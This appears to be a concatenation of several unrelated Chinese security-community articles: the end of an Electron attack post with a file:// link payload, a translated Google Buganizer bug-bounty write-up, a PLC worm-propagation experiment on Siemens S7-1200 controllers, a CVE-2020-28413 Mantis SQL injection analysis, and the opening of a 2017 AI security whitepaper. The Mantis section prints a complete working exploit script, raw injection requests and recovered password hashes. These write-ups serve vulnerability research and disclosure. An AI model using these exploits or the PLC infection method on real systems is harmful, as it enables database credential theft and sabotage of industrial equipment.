webview.on( 'new-window', (e) => {
shell.openExternal( e.url ); // 系统浏览器打开
});
此时，如何攻击者可以构造 URL 如下，则可以执行任意程序。 需要注意：此处不能传递参数。
<a href="file://c:/windows/system32/calc.exe">Click</a>
应对之策也很简单，检查 URL 合法性即可（如匹配协议等）。
#### 结论：
* Electron 存在 DOM-Based XSS 基本就是一死
* Electron 随处可见的 Node 执行、外部脚本执行
* 即使外部脚本被禁了，还可以使用file://进行有效的攻击
#### 参考：
http://utf-8.jp/cb2016/cb-hasegawa-en.pdf
* * *
**扫码关注：二向箔安全**
* * * | 社区文章 |
# 【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金
|
##### 译文声明
本文是翻译文章，文章来源：freecodercamp.org
原文地址：<https://medium.freecodecamp.org/messing-with-the-google-buganizer-system-for-15-600-in-bounties-58f86cc9f9a5>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
你听说过Buganizer吗？可能没有，除非你是谷歌的员工或最近在谷歌工具中上报过程序缺陷的开发人员。我之前也没听说过，直到我发现我的漏洞报告除了正常的邮件通知外，还同时会被一个新打开的线程处理。自然而然的，我立即开始试着去“渗透”它。
**Buganizer**
那么这个网站究竟是什么？根据文档，问题跟踪器（内部称为Buganizer系统）是Google内部使用的一种在产品开发过程中跟踪错误和特性请求的工具。它可供谷歌以外的外部用户和需要在特定项目上与谷歌团队进行协作的合作伙伴使用。
换句话说，当有人使用谷歌产品遇到问题时，它会出现在问题跟踪器中。这非常有意义不是吗？作为外部用户，我们只能看到冰山一角，比如漏洞报告。但是在这些表层信息之下还潜藏了多少问题呢？
通过观察分配的最新的数字ID，我们可以很容易地估计这个工具在内部获得了多大的使用量。在谷歌工作时间内，每小时大约会产生2000到3000个问题，其中只有0.1%是公开的。看来这个系统在数据泄露这方面可以大做文章。让我们来破解它吧！
**
**
**攻击1：”黑掉”谷歌员工账号**
在研究这个问题追踪器的时候，我第一个注意到的问题就是：可以通过发送邮件到一个特殊的邮箱来参与到一个讨论。它看起来像这样：
[[email protected]](mailto:[email protected])
其中componentID是代表一种类别的数字编号，issueID是正处于处理周期的Bug唯一识别码。
这让我想起了最近一个叫做Ticket
Trick的发现，它允许黑客利用一种电子邮件系统渗透到某些组织的内部聊天系统中。介于这是一个@google.com的电子邮件地址，我尝试使用它登录Google的Slack团队，然后我真的看到了有希望成功渗透的确认页面：
遗憾的是，Slack并没有回复我任何邮件。
我能想到的获得谷歌账户的第二个好办法是利用@google.com为后缀的电子邮件去做点什么。它很有可能帮助我在Buganizer系统上获得一些额外的权限。如下图所示，从谷歌外部注册一个这样的账户是不允许的。
但是我找到了一种绕过这种过滤器的方法：
如果我随便用一个假的电子邮箱去注册，当点击邮件中的链接去认证这个新邮箱失败了的时候，系统是允许我无条件变更邮箱。用这个办法，我把一个新的谷歌账户的绑定邮箱改成了[email protected]
很快，我收到了一封如下图页面所示的认证邮件：
我点击了这个认证链接，然后登录问题追踪器，然后……
我被重定位到了企业的登录页面，但我的谷歌账户在这里失效了。不过，这个账户在互联网上的其他地方让我“收获颇丰”，所以这仍然是一个安全漏洞，它为那些不怀好意的人大开了方便之门。
采纳时间：11小时|赏金：3133.7美元|优先级：P1
**
**
**攻击2：获取内部的通知**
当我在熟悉用户界面的时候，问题追踪器的另一个特点很快抓住了我的眼球：它能够给每个条目标星号。给一个条目标出星号意味着你对这个条目很感兴趣，想要探究它，并且希望只要有人对它发表评论你就可以立刻收到邮件提醒。
对于这个功能，我注意到一个有趣的事情：在我没有权限访问的问题上尝试使用它时，居然没有报错。访问控制规则似乎没有应用于这个工具，所以我登录到我的第二个帐户，并尝试通过替换请求中的issue
ID来从我的主帐户标记漏洞报告。然后我看到如下这个消息，这意味着这个方法是可行的：
有一个人标注了这个问题。
这个方法能否让人轻而易举去监控开放的Google漏洞呢？我很快发布了一个关于这个问题的评论，看看我的虚构的攻击者帐户是否会收到通知。
不过再次失败了，没有邮件出现。
由于某些我已经记不清了的原因，我决定对此进行进一步的测试。所以我利用一个最近的issue
ID，并推出了数千个ID的范围，这应该与数据库中的最新问题相吻合。然后我把它们全部都标注了星号。
几分钟之内，我的收件箱列表如下图所示：
打开收件箱时，我的第一个想法是“中奖了！”。
然而，经过进一步的检查，发现在这些线程中并没有什么特别有趣的事情发生。显然，我只能窃听与Bug讨论相关的对话。我甚至考虑了很久干脆不去提交这个问题，我希望自己能找到某种方法提高一下这个问题的严重性。最后，我意识到谷歌安全团队可能已经意识到了这个安全漏洞，所以我最终还是发送了相关的细节。
**
**
**攻击3：游戏结束**
当你作为外部用户访问问题跟踪器时，其大部分功能被剥离，留给你的权限非常有限。如果你想查看谷歌的员工们可以使用的全部功能有哪些，您可以在javascript脚本中查找一些API，虽然其中一些功能被完全禁用，其他功能则隐藏在界面中。
当设计这个有限权限的系统时，如果我们对某个问题失去兴趣，或者根本就不想再收到有关这个问题的电子邮件，那么有人非常好心的给我们预留了从CCs列表中删除问题列表的方法。可以通过发送如下的POST请求来实现这个功能：
POST /action/issues/bulk_edit HTTP/1.1
{
"issueIds":[
67111111,
67111112
],
"actions":[
{
"fieldName":"ccs",
"value":"[email protected]",
"actionType":"REMOVE"
}
]
}
然而，我注意到这里的一些疏忽导致了一个巨大的问题:
1\. 不正确的访问控制：在尝试执行给定操作之前，没有明确地检查当前用户是否实际访问了issueID中指定的问题。
2\. 静默失效：如果您提供的电子邮件地址当前不在CCs列表中，终端将返回一条消息，告诉你电子邮件已成功删除。
3\. 可获得完整的问题详细信息：如果在操作过程中没有发生错误，系统的另一部分会假设用户有适当的权限。因此，关于给定的issue
ID的每个细节都将返回给HTTP响应主体中。
显然，我现在可以通过仅仅是简单替换上一条问题的issueID的方式，就能够看到数据库中每一个问题的详细信息了！我只尝试查看了几个连续的ID，然后从一个无关的帐户攻击自己，以确认这个问题的严重性。是的，我可以看到有关漏洞报告的详细信息，以及Buganizer上托管的其他内容。
更糟糕的是，我可以在单个请求中渗透有关多个Bug的数据，然后可能在不触发任何限制的情况下实时监控所有内部活动。
我及时将漏洞详细信息发送给谷歌，其安全团队在一小时后修改了Bug。真是令人印象深刻的响应速度！
采纳：1小时|赏金：7500美金|优先级：P0
当我刚开始攻克这个信息泄露的问题时，我以为它将会成为谷歌漏洞里最顶级的发现，因为它公开了关于其他所有bug的信息。然而，在找到它之后，我很快意识到它的影响将被最小化，因为所有危险的漏洞都在一小时内被处理掉了。因此，我还是很开心能够获得这笔额外的赏金，并期待在其他谷歌产品中找到漏洞。 | 社区文章 |
# PLC互联的安全分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 01.前言
当前大多数PLC具有通信联网的功能，它使PLC与PLC
之间、PLC与上位计算机以及其他智能设备之间能够交换信息，形成一个统一的整体，实现分散集中控制。组网带来高效的工业生产控制及管理的同时也引入了一定的网络风险。以TCP连接为例，通过一个普通PLC的TCP连接指令（例如PLC内部的一个功能块实现）可以与另一个目标PLC建立连接，再通过数据发送指令可以发送特定的数据包给目标PLC，如果发的是一组恶意的指令可以造成对工艺破坏，而这样的破坏根本不依赖PC机，在PLC之间就可以进行。甚者可借助PLC的网络扫描程序及程序下载代码可以实现在一组PLC中传播恶意指令。下文以S7-1200为例进行实验。
## 02.实验环境
实验是在一组S7-1200 PLC上进行的，该款PLC集成PN口，具备TCP通信能力，S7-1200
PLC支持FBD/LAD/STL/SCL编程语言，可任选一种语言，使用下位机编程软件TIA（v13）进行逻辑编程，编程完毕执行下载，TIA将自动对代码进行编译、最终下载到PLC存储器中，PLC将加载代码进行执行。PLC中以“块”的概念对各类数据进行存储，使用到的块包括：OB
组织块，功能程序入口；FB 功能块，各种带有方法的类的集合；SFB/SFC 系统功能块，库函数与系统调用； FC 功能块，自定义功能；
DB数据库，各类数据存放。
## 03.建立IP扫描和TCP连接
在源PLC中的正常逻辑程序中加了一段IP扫描和建立TCP连接的代码，通过IP地址和端口号寻找目标PLC。这段代码中调用了西门子的两个系统函数TCON和TDISCON。TCON用来设置并建立TCP通信连接，参数CONNECT在这段程序中起很重要的作用，它是TCOM_PARAM数据类型的变量，我们主要需要配置ID（ID号可任意，但与其相关通信的都必须采用此ID号），CONNECT_TYPE：17，ACTIVE_EST：1（表示主动建立连接），LOCAL_TASP_ID，REM_TASP_ID：102（必须为102，表示为被连接的PLC的端口地址），REM_STADDR（IP扫描的起始地址）。我们为”data”.con_state设定初值为10，当PLC启动便会执行TCON去建立连接，当TCON函数的参数done为1表示已发现目标PLC并建立了TCP连接，然后进入到下一个过程状态（下一个状态我们定义为”data”.con_state=20，用于建立S7+通信连接）。否则执行TDISCON删除所设置的相应连接，同时IP地址加一，继续扫描直至找到目标。关于CONNECT参数，我们专门把它定义在一个data数据块中，以便于参数赋初值，如图所示：
IP扫描及建立TCP连接的程序，采用PLC自带的SCL语言：
## 04.数据传输
上一节提到的方法是搜索目标PLC，搜索到目标PLC后又如何将恶意代码传输给目标PLC，在s7-1200的编程软件中采用系统函数TSEND/TRCV实现PLC之间的数据传输，如建立S7连接、启/停PLC、数据块下载等，当然S7-1200是基于S7+协议，即将S7+的数据字段通过在s7-1200的编程软件用数组的方式组织起来，例如在源plc用一个DB数据块建立一个特定长度的message，用于存储特定功能的S7+数据字段，再通过TSEND函数发送给目标PLC。但我们需要事先定义好状态机，到某一个状态时TSEND函数的DATA参数指向特定的message，也就是说到不同的状态发送不同message。特定的message我们可以通过wireshark抓包分析得到，然后把它定义在指定的DB块中（创建一个数据类型为BYTE的数组，在启动值处输入必要的16进制码）。如下图：
在我们的SCL程序反复多次调用了TSEND函数以及两次调用TRCV函数，因为会进行建立S7+连接、停止PLC、下载功能块、启动PLC等多个状态的转换，而每个状态过程实现需发送相对应的message。TSEND函数的作用是通过现有通信连接发送数据，发送数据需要在参数DATA指定发送区。也就是说引用指向发送区的指针，该发送区包含要发送数据的地址和长度，在该程序中我们的地址引用为数据块。TRCV函数的作用是通过现有通信连接接收数据，函数中参数EN_R
设置为值“1”时，才会启用数据接收。发送及接收协议message的程序如下图：
当把一个PLC感染过程的状态过程全部走完后，程序又跳回到状态”data”.con_state=0，执行TDISCON函数，终止此次TCP连接，进行IP扫描，地址自动加一，为下一个PLC感染目标做准备，当寻找到另外的一个目标后，又会循环执行感染程序。如下图：
## 05.实验结果
目标PLC被锁定之后，被注入恶意代码，实验中注入一个OB组织块，这个块采用梯形图编程，实现特定的功能，操纵寄存器地址Q0.0的输出值。和停止PLC功能操作一样，在源plc用一个DB数据块建立一个特定长度的message，用于存储OB组织块特定功能的S7+数据字段，再通过TSEND函数将数据发送目标PLC。
这样OB块和运行所需的DB块被注入，PLC将自动检测到新增的OB块并按照程序的逻辑进行运行，原有的逻辑功能不会受到影响，只是额外执行了某种任务而已。以下图片展示了PLC被感染蠕虫前后的项目树对比情况：
感染前后
使用TIA连接PLC可以很明显可以看出PLC中程序发生了变化，被注入了一个组织块OB6666（OB6666中的内容为我们编写的恶意程序）以及两个DB数据块。恶意程序可以操纵PLC的输出，我们实现的是让某个DO输出循环地开启2S后关闭2S。下图为我们操纵PLC输出的程序，展示的被操纵的数字量输出Q0.0：
## 05.总结
针对PLC新型威胁研究，这种方法在国外早已发布，本文进行了复现测试。当然该攻击方式无需借助上位机，因此可以绕开杀毒软件的检测及工业防火墙的拦截，有一定的隐蔽性。但是这种攻击手段的也有一定局限性，例如支持完整tcp通讯功能块的PLC较少，在施耐德PLC中由TCP_OPEN库完成的，TCP
OPEN的库是需要额外订购的，一般用户都不会采购，其他厂商提供这种需求的更加少。 | 社区文章 |
#### 漏洞相关信息
根据[CVE-2020-28413](https://vuldb.com/?source_cve.167047)相关信息，在Mantis的API
Soap组件中的mc_project_get_users方法中存在SQL注入，
access参数的值会导致sql注入。影响2.24.3及以下版本。
#### 调试环境搭建
参考我[前文中](https://xz.aliyun.com/t/11592)针对CVE-2017-7615的环境搭建流程，选取mantis 2.18
版本开展测试
#### 漏洞复现
exp已经有大佬放出来了
# Exploit Title: Mantis Bug Tracker 2.24.3 - 'access' SQL Injection
# Date: 30/12/2020
# Exploit Author: EthicalHCOP
# Vendor Homepage: https://www.mantisbt.org/
# Version: 2.24.3
# CVE: CVE-2020-28413
import requests, sys, time
from lxml import etree
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
def Hacer_Peticion(query):
home = "http://172.16.113.1:10080/mantisbt/"
url = home+"/api/soap/mantisconnect.php"
headers = {'content-type': 'text/xml',
'SOAPAction': url+'"/mc_project_get_users"'}
mantis_db_user = ""
mantis_db_pass = ""
body = """<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Header/>
<soapenv:Body>
<man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string">"""+mantis_db_user+"""</username>
<password xsi:type="xsd:string">"""+mantis_db_pass+"""</password>
<project_id xsi:type="xsd:integer">0</project_id>
<access xsi:type="xsd:string">"""+query+"""</access>
</man:mc_project_get_users>
</soapenv:Body>
</soapenv:Envelope>"""
response = requests.post(url, data=body, headers=headers, verify=False)
#response = requests.post(url, data=body, headers=headers, proxies=proxies, verify=False)
parser = etree.XMLParser(remove_blank_text=True)
xml = etree.XML(response.content, parser)
xml = etree.tostring(xml)
return(str(xml))
def Cantidad_Usuarios_Mantis():
query = "0 union all select concat('-',(select count(*) " \
"from mantis_user_table),'0'),2,3,4 order by id asc limit 1"
xml = Hacer_Peticion(query)
txt = xml.split("integer")
txt = txt[1].split("id")
registros = str(str(str(txt[0])[:-2])[-2:])[:-1]
return(registros)
def Obtener_Id(usr_pos):
query = "0 union all select concat((SELECT id FROM mantis_user_table " \
"order by id asc limit 0,1),'0'),2,3,4 limit "+str(usr_pos)+",1"
xml = Hacer_Peticion(query)
txt = xml.split("integer")
txt = txt[1].split("id")
id = str(str(txt[0])[:-2])[-1:]
name = str(str(txt[1])[29:]).split("</name>")[0]
return (id+"-"+name)
def brute_force(data):
charts = "abcdefghijklmnopqrstuvwxyz0123456789"
passw = ""
id = data.split("-")[0]
name = data.split("-")[1]
for cp in range (1,33,1):
for c in charts:
print(f"\rHash: {passw}", end="")
time.sleep(0.00001)
sys.stdout.flush()
query = "0 union all select (select if(substring((select binary(password) " \
"from mantis_user_table where id = " + str(id) + ")," + str(cp) + ",1)='" + str(c) + "','0','900000000000000000000')), 2,3,4 order by id asc limit 1"
xml = Hacer_Peticion(query)
txt = xml.split("integer")
txt = txt[1].split("id")
r_id = str(str(txt[0])[:-2])[-1:]
if(r_id=="0"):
passw = passw + str(c)
break
print(f"\r", end="")
sys.stdout.flush()
print(name+": "+passw)
def main():
cantidad_users = Cantidad_Usuarios_Mantis()
print("Cantidad usuarios en db: "+str(cantidad_users))
print("Obteniendo Hashes...")
for x in range(0,int(cantidad_users),1):
brute_force(Obtener_Id(x))
if __name__ == "__main__":
main()
我在测试这个exp的时候发现有点问题，没有正常执行
尝试用burp抓第一个发送的数据包：
POST /mantisbt/api/soap/mantisconnect.php HTTP/1.1
Host: 172.16.113.160:10080
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
content-type: text/xml
SOAPAction: http://172.16.113.160:10080/mantisbt/api/soap/mantisconnect.php"/mc_project_get_users"
Content-Length: 793
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Header/>
<soapenv:Body>
<man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string"></username>
<password xsi:type="xsd:string"></password>
<project_id xsi:type="xsd:integer">0</project_id>
<access xsi:type="xsd:string">0 union all select concat('-',(select count(*) from mantis_user_table),'0'),2,3,4 order by id asc limit 1</access>
</man:mc_project_get_users>
</soapenv:Body>
</soapenv:Envelope>
response:
HTTP/1.1 200 OK
Date: Fri, 26 Aug 2022 15:30:31 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: PHPSESSID=q4fbn9hgkocbo1d3on9ugfaoa1; path=/; HttpOnly
Cache-Control: private, max-age=10800
Last-Modified: Tue, 26 Jul 2022 09:14:43 GMT
Vary: Accept-Encoding
Content-Length: 34
Connection: close
Content-Type: text/html; charset=UTF-8
PHP SOAP extension is not enabled.
推测应该是我的目标环境中缺少相应依赖，进入环境中安装相应依赖
apt install php-soap
service apache2 restart
再次发送同样的数据包，同时将数据包中的用户名密码修改成有效用户名：
POST /mantisbt/api/soap/mantisconnect.php HTTP/1.1
Host: 172.16.113.160:10080
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
content-type: text/xml
SOAPAction: http://172.16.113.160:10080/mantisbt/api/soap/mantisconnect.php"/mc_project_get_users"
Content-Length: 810
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Header/>
<soapenv:Body>
<man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string">administrator</username>
<password xsi:type="xsd:string">root</password>
<project_id xsi:type="xsd:integer">0</project_id>
<access xsi:type="xsd:string">0 union all select concat('-',(select count(*) from mantis_user_table),'0'),2,3,4 order by id asc limit 1</access>
</man:mc_project_get_users>
</soapenv:Body>
</soapenv:Envelope>
response如下：
HTTP/1.1 200 OK
Date: Mon, 29 Aug 2022 03:01:05 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: PHPSESSID=r5qik9ld185nameld4f344lrs5; path=/; HttpOnly
Cache-Control: private, max-age=10800
Last-Modified: Tue, 26 Jul 2022 09:14:43 GMT
Vary: Accept-Encoding
Content-Length: 669
Connection: close
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://futureware.biz/mantisconnect" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:mc_project_get_usersResponse><return SOAP-ENC:arrayType="ns1:AccountData[1]" xsi:type="SOAP-ENC:Array"><item xsi:type="ns1:AccountData"><id xsi:type="xsd:integer">-30</id></item></return></ns1:mc_project_get_usersResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
可以看到有了正常的回复
此时再尝试测试完整的exp发现已经可以正常运行
╰─$ python3 CVE-2020-28413.py
Cantidad usuarios en db: 3
Obteniendo Hashes...
administrator: 63a9f0ea7bb98050796b649e85481845
admin: 8ae1653f670543a69ff833a17f2cc21d
user: 67f600b2654690eec8e96e830e43460e
exp的效果应该是在有一个低级用户的条件下，可以获取所有用户的口令哈希
#### 漏洞分析
在漏洞复现过程中可知本漏洞需要口令密码方可正常运行，根据exp内容大概可以掌握到漏洞脚本文件是mantisconnect.php
......
$t_server = new SoapServer( 'mantisconnect.wsdl',
array( 'features' => SOAP_USE_XSI_ARRAY_TYPE + SOAP_SINGLE_ELEMENT_ARRAYS )
);
$t_server->addFunction( SOAP_FUNCTIONS_ALL );
$t_server->handle();
......
尾部定义了一个soap服务器
因此直接根据请求头中SOAPAction字段：
`SOAPAction:
http://172.16.113.160:10080/mantisbt/api/soap/mantisconnect.php"/mc_project_get_users"`
判断接下来会调用mc_project_get_users方法，此方法定义mc_project_api.php文件当中
function mc_project_get_users( $p_username, $p_password, $p_project_id, $p_access ) {
global $g_project_override;
$t_user_id = mci_check_login( $p_username, $p_password );
if( $t_user_id === false ) {
return mci_fault_login_failed();
}
$g_project_override = $p_project_id;
$t_users = project_get_all_user_rows( $p_project_id, $p_access ); # handles ALL_PROJECTS case
$t_display = array();
$t_sort = array();
foreach( $t_users as $t_user ) {
$t_user_name = user_get_name_from_row( $t_user );
$t_display[] = string_attribute( $t_user_name );
$t_sort[] = user_get_name_for_sorting_from_row( $t_user );
}
array_multisort( $t_sort, SORT_ASC, SORT_STRING, $t_users, $t_display );
$t_result = array();
for( $i = 0;$i < count( $t_sort );$i++ ) {
$t_row = $t_users[$i];
# This is not very performant - But we have to assure that the data returned is exactly
# the same as the data that comes with an issue (test for equality - $t_row[] does not
# contain email fields).
$t_result[] = mci_account_get_array_by_id( $t_row['id'] );
}
return $t_result;
}
sql注入变量access会作为参数传递给 project_get_all_user_rows函数
function project_get_all_user_rows( $p_project_id = ALL_PROJECTS, $p_access_level = ANYBODY, $p_include_global_users = true ) {
......
if( $p_include_global_users ) {
db_param_push();
$t_query = 'SELECT id, username, realname, access_level
FROM {user}
WHERE enabled = ' . db_param() . '
AND access_level ' . $t_global_access_clause;
$t_result = db_query( $t_query, array( $t_on ) );
while( $t_row = db_fetch_array( $t_result ) ) {
$t_users[(int)$t_row['id']] = $t_row;
}
}
......
}
很明显，access会被作为参数拼接进入sql字符串中进而执行，进而会造成sql注入
断点断下来漏洞很明显不详细叙述了
于是好奇，在漏洞的前边还存在认证代码`$t_user_id = mci_check_login( $p_username, $p_password
);`,用户名口令肯定也会被传递进入sql语句执行的，那么是否也会存在其他的命令注入呢？
尝试进入mci_check_login分析
function mci_check_login( $p_username, $p_password ) {
......
if( api_token_validate( $p_username, $t_password ) ) {
# Token is valid, then login the user without worrying about a password.
if( auth_attempt_script_login( $p_username, null ) === false ) {
return false;
}
} else {
......
}
继续查看校验函数api_token_validate
function api_token_validate( $p_username, $p_token ) {
......
$t_user_id = user_get_id_by_name( $p_username );
......
}
username会被作为参数传递给user_get_id_by_name函数：
function user_get_id_by_name( $p_username, $p_throw = false ) {
......
$t_query = 'SELECT * FROM {user} WHERE username=' . db_param();
$t_result = db_query( $t_query, array( $p_username ) );
......
}
可以看到username会被作为参数传递给db_query函数，因此尝试发数据包，将username设置为1' OR '1'='1看看会是什么结果：
POST /mantisbt/api/soap/mantisconnect.php HTTP/1.1
Host: 172.16.113.160:10080
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
content-type: text/xml
SOAPAction: http://172.16.113.160:10080/mantisbt/api/soap/mantisconnect.php"/mc_project_get_users"
Content-Length: 809
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Header/>
<soapenv:Body>
<man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string">1' OR '1'='1</username>
<password xsi:type="xsd:string">root</password>
<project_id xsi:type="xsd:integer">0</project_id>
<access xsi:type="xsd:string">1</access>
</man:mc_project_get_users>
</soapenv:Body>
</soapenv:Envelope>
可以发现运行到此处时，p_username的参数确实是我们设置的1' OR '1'='1值
然而，在运行时执行的命令却被转义了，我们可以运行到下一行察看$t_result的值发现：
究其根本，是因为db_query函数会对参数的值进行转义，进而没有达成sql注入
但是为什么前边acess的值可以做到注入呢，是因为access的值直接被拼接进入的sql语句当中，而不是作为参数传递给db_query函数
if( $p_include_global_users ) {
db_param_push();
$t_query = 'SELECT id, username, realname, access_level
FROM {user}
WHERE enabled = ' . db_param() . '
AND access_level ' . $t_global_access_clause;
$t_result = db_query( $t_query, array( $t_on ) );
while( $t_row = db_fetch_array( $t_result ) ) {
$t_users[(int)$t_row['id']] = $t_row;
}
}
#### 漏洞利用方法
对于sql注入了解几乎为零，借此机会顺带了解一下具体的利用流程，先查看一下数据库中的用户表内容，有一个基本掌握
我的用户表中有三个用户，表中还存在密码哈希，id等字段
注入时执行的语句是：
SELECT id, username, realname, access_level FROM mantis_user_table WHERE enabled = 1 AND access_level >= {access}
其中{access}便是我们输入的access的值
下面来看一下exp具体执行利用的过程：
exp中，第一阶段包执行以下语句
SELECT id, username, realname, access_level FROM mantis_user_table WHERE enabled = 1 AND access_level >= 0 union all select concat('-',(select count(*) from mantis_user_table),'0'),2,3,4 order by id asc limit 1
然后获取执行结果中的值,此值为`-`与用户表中数量以及`'0'`的拼接，通过此值可以标记数据库中有效的用户数量,我的数据库中有效用户是3个
第二阶段，然后执行下一条命令
SELECT id, username, realname, access_level FROM mantis_user_table WHERE enabled = 1 AND access_level >= 0 union all select concat((SELECT id FROM mantis_user_table order by id asc limit 0,1),'0'),2,3,4 limit {1}，1
其中{1}会迭代0-2来获取数据库中每个用户的id号以及用户名
第三个步骤，就是从用户表中取出每一个用户的密码哈希，然后逐字符进行对比，爆破获取每个用户的口令
SELECT id, username, realname, access_level FROM mantis_user_table WHERE enabled = 1 AND access_level >= 0 union all select (select if(substring((select binary(password) from mantis_user_table where id = {1}),{1},1)='{a}','0','900000000000000000000')), 2,3,4 order by id asc limit 1
其中,{}括起来的数字是会迭代，用于爆破。如果匹配错误，依然会输出第一个有效用户内容
如果匹配正确，则会出现以下内容：
根据匹配的结果即可判断每一个字符爆破是否正确，最终成功猜解出全部的密码哈希值。 | 社区文章 |
# 2017年 AI安全风险白皮书
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
深度学习引领着新一轮的人工智能浪潮，受到工业界以及全社会的广泛关注。 虽然大家对人工智能有很多美好的憧憬，但是现实是残酷的 —
随着一批深度学习应用逐渐开始变成现实，安全问题也渐渐显现出来。
360 安全研究院在过去一年里对深度学习系统的安全性做了详细的研究。 我们通过这个文档对这些工作做了一个系统的总结。
AI系统的安全问题主要包括模型安全、数据安全以及代码安全。
本文以目前流行的图像识别AI系统为例，介绍AI系统在这些方面面临的安全威胁。对于这些威胁造成的影响，我们关注传统的攻击类型，包括恶意输入导致的拒绝服务，信息泄露，系统劫持。
同时我们也关注AI系统特有的安全问题，例如逃逸攻击，数据污染攻击。
关于AI系统的安全威胁，本文从以下三个角度进行阐述。第一部分描述深度学习系统软件实现的复杂度，以及软件实现带来的安全漏洞。第二部分描述针对深度学习系统模型的逃逸攻击。
第三部分揭示深度学习系统数据流中的安全威胁，以及相应的降维攻击展示。 白皮书主要内容参照了360安全团队近期发布的AI安全相关报告。
## 深度学习软件实现中的安全问题
人工智能应用面临来自多个方面的威胁：包括深度学习框架中的软件实现漏洞、对抗机器学习的恶意样本生成、训练数据的污染等等。
这些威胁可能导致人工智能所驱动的识别系统出现混乱，形成漏判或者误判，甚至导致系统崩溃或被劫持，并可以使智能设备变成僵尸攻击工具。
在推进人工智能应用的同时，我们迫切需要关注并解决这些安全问题。本章首先介绍我们在深度学习框架中发现的安全问题。
### 人工智能讨论中的安全盲点
目前公众对人工智能的关注，尤其是深度学习方面， 缺少对安全的考虑。我们把这个现象称为人工智能的安全盲点。 导致这个盲点的主要原因是由于算法与实现的距离。
近期对于深度学习的讨论主要停留在算法和前景展望的层面，对应用场景和程序输入有很多假设。受到关注的应用往往假定处于善意的或封闭的场景。例如高准确率的语音识别中的输入都是自然采集而成，图片识别中的输入也都来自正常拍摄的照片。这些讨论没有考虑人为恶意构造或合成的场景。
人工智能讨论中的安全盲点可以通过最典型的手写数字识别案例来说明。基于MNIST数据集的手写数字识别应用是深度学习的一个非常典型的例子，
最新的深度学习教程几乎都采用这个应用作为实例演示。在这些教程中（如下图所示）算法层的讨论所考虑的分类结果只关心特定类别的近似度和置信概率区间。算法层的讨论没有考虑输入会导致程序崩溃甚至被攻击者劫持控制流。这其中被忽略掉的输出结果反映出算法和实现上考虑问题的差距，也就是目前人工智能讨论中的安全盲点。
图I-1. 深度学习算法与安全所考虑的不同输出场景
现实中的开放应用需要处理的输入不仅来源于正常用户，也可以是来自黑产等恶意用户。
人工智能的应用必须考虑到应用所面临的现实威胁。程序设计人员需要考虑输入数据是否可控，监测程序是否正常执行，并验证程序执行结果是否真实反映应用的本来目的。
### 深度学习系统的实现及依赖复杂度
深度学习软件很多是实现在深度学习框架上。目前基于深度学习系统框架非常多，主流的包括TensorFlow、Torch，以及Caffe 等。
深度学习框架的使用可以让应用开发人员无需关心神经元网络分层以及培训分类的实现细节，更多关注应用本身的业务逻辑。
开发人员可以在框架上直接构建自己的神经元网络模型，并利用框架提供的接口对模型进行训练。这些框架简化了深度学习应用的设计和开发难度，一个深度学习的模型可以用几十行代码就可以写出来。
图I-2. 深度学习框架以及框架组件依赖
深度学习框架掩盖了它所使用的组件依赖，同时也隐藏了系统的复杂程度。
每种深度学习框架又都是实现在众多基础库和组件之上，很多深度学习框架里还包括图像处理、矩阵计算、数据处理、GPU加速等功能。
图2展示了典型的深度学习应用组件和它们的依赖关系。例如Caffe除了自身神经元网络模块实现以外，还包括137个第三方动态库，例如libprotobuf,
libopencv, libz 等。 谷歌的TensorFlow 框架也包含对多达97个python模块的依赖，包括librosa,numpy 等。
